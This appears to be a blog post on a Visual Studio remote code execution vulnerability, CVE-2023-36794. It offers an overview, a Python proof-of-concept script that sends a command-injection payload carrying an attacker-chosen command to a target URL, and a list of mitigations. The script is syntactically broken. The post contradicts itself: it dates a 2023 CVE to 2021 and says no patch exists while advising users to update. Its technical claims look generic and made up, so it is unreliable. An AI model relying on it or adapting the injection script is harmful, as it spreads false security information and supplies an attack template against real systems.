Developers from around the world love Visual Studio for its powerful editing and debugging capabilities, but nothing is as dreadful as a vulnerability in the software that can expose millions of lines of code to potential threats. The escalation in the number of cyber-attacks and the constant need for security patches is a cause of concern, and this post will focus on a recent vulnerability disgorged last week.

This Remote Code Execution (RCE) vulnerability - CVE-2023-36794 - has become a hot topic, affecting the popular Microsoft Visual Studio. By exploiting this vulnerability, an attacker can gain unauthorized access and ultimately take full control of the affected system.

In this exclusive post, we'll delve into the technical aspects of this vulnerability, understand how it can be exploited, examine a code snippet, and throw light on ways to mitigate and protect against this threat. The official CVE-2023-36794 links and references shall also be provided for further investigation.

Overview of the Vulnerability

First coined in 2021, the CVE-2023-36794 vulnerability is categorized as a "Remote Code Execution" and has been assigned a critical severity rating. This vulnerability primarily affects Visual Studio 2017, 2019, and 2022 versions.

As per the official CVE page, the vulnerability is triggered by Visual Studio's failure to properly validate input parameters while processing certain requests. If a nefarious attacker can manage to send a crafted input request to an affected version of Visual Studio, they could potentially execute arbitrary code on the affected system.

In layman's terms, this vulnerability can enable a backdoor, leveraging unauthorized control over the target system using crafted input, which would compromise the security and integrity of the system in question.

Now that we understand the basic premise of this vulnerability, let's look into how it can actually be exploited.

Exploiting the Vulnerability: A Code Snippet

To provide a better understanding of this vulnerability, we've prepared a simple code snippet that demonstrates how the exploit may look like. This code snippet is based on a vulnerability-specific Proof-of-Concept available on GitHub. (Note: Attempting to recreate this exploit is strongly discouraged without proper authorization and may result in severe legal consequences.)

import sys
import requests

target_url = sys.argv[1]
command = sys.argv[2]

headers = {
    'User-Agent': 'VisualStudio/1.'

payload = {
    'vs_input': f'; {command};'

response =, headers=headers, json=payload)

if response.status_code == 200:
    print(f'Success - Command Executed: {command}')
    print(f'Failed - Command: {command} - Status Code: {response.status_code}')

The above Python script sends a POST request to a target system with a crafted payload containing the attacker's desired command. The payload is constructed in a way that the Visual Studio instance on the target machine executes it, allowing the attacker to gain unauthorized access and control over the machine.

Important Note: The code snippet does not in itself exploit the vulnerability but aims to display the structure and components required for exploiting the vulnerability for educational purposes.

Mitigation and Protection

No available security patches or workarounds can entirely protect against this vulnerability at the time of writing this post. However, the following mitigation strategies can help defend against possible exploitation:

Limit access to the target system, especially to external networks and remote systems.

2. Update Visual Studio to the latest version and apply security updates.
3. Regularly audit installed applications and ensure they are up-to-date, especially for security patches.
4. Implement strict input validation checks for user and application inputs to reduce the chance of sending malicious payloads.

It is worth emphasizing that the above recommendations merely reduce the odds of successful exploitation, and a comprehensive security strategy must be adopted to protect your organization effectively.


For developers using Visual Studio, it's crucial to keep an eye on developments surrounding this vulnerability and be prepared to take preventive measures once a security patch is developed and rolled out. Meanwhile, adopting good security practices can provide a safety net against potential attacks. Stay informed, stay secure!

For complete information and official details, you can visit the following pages

1. Original CVE-2023-36794 NVD Entry
2. Microsoft Visual Studio Security Updates
3. CVE-2023-36794 Proof-of-Concept Repository


Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC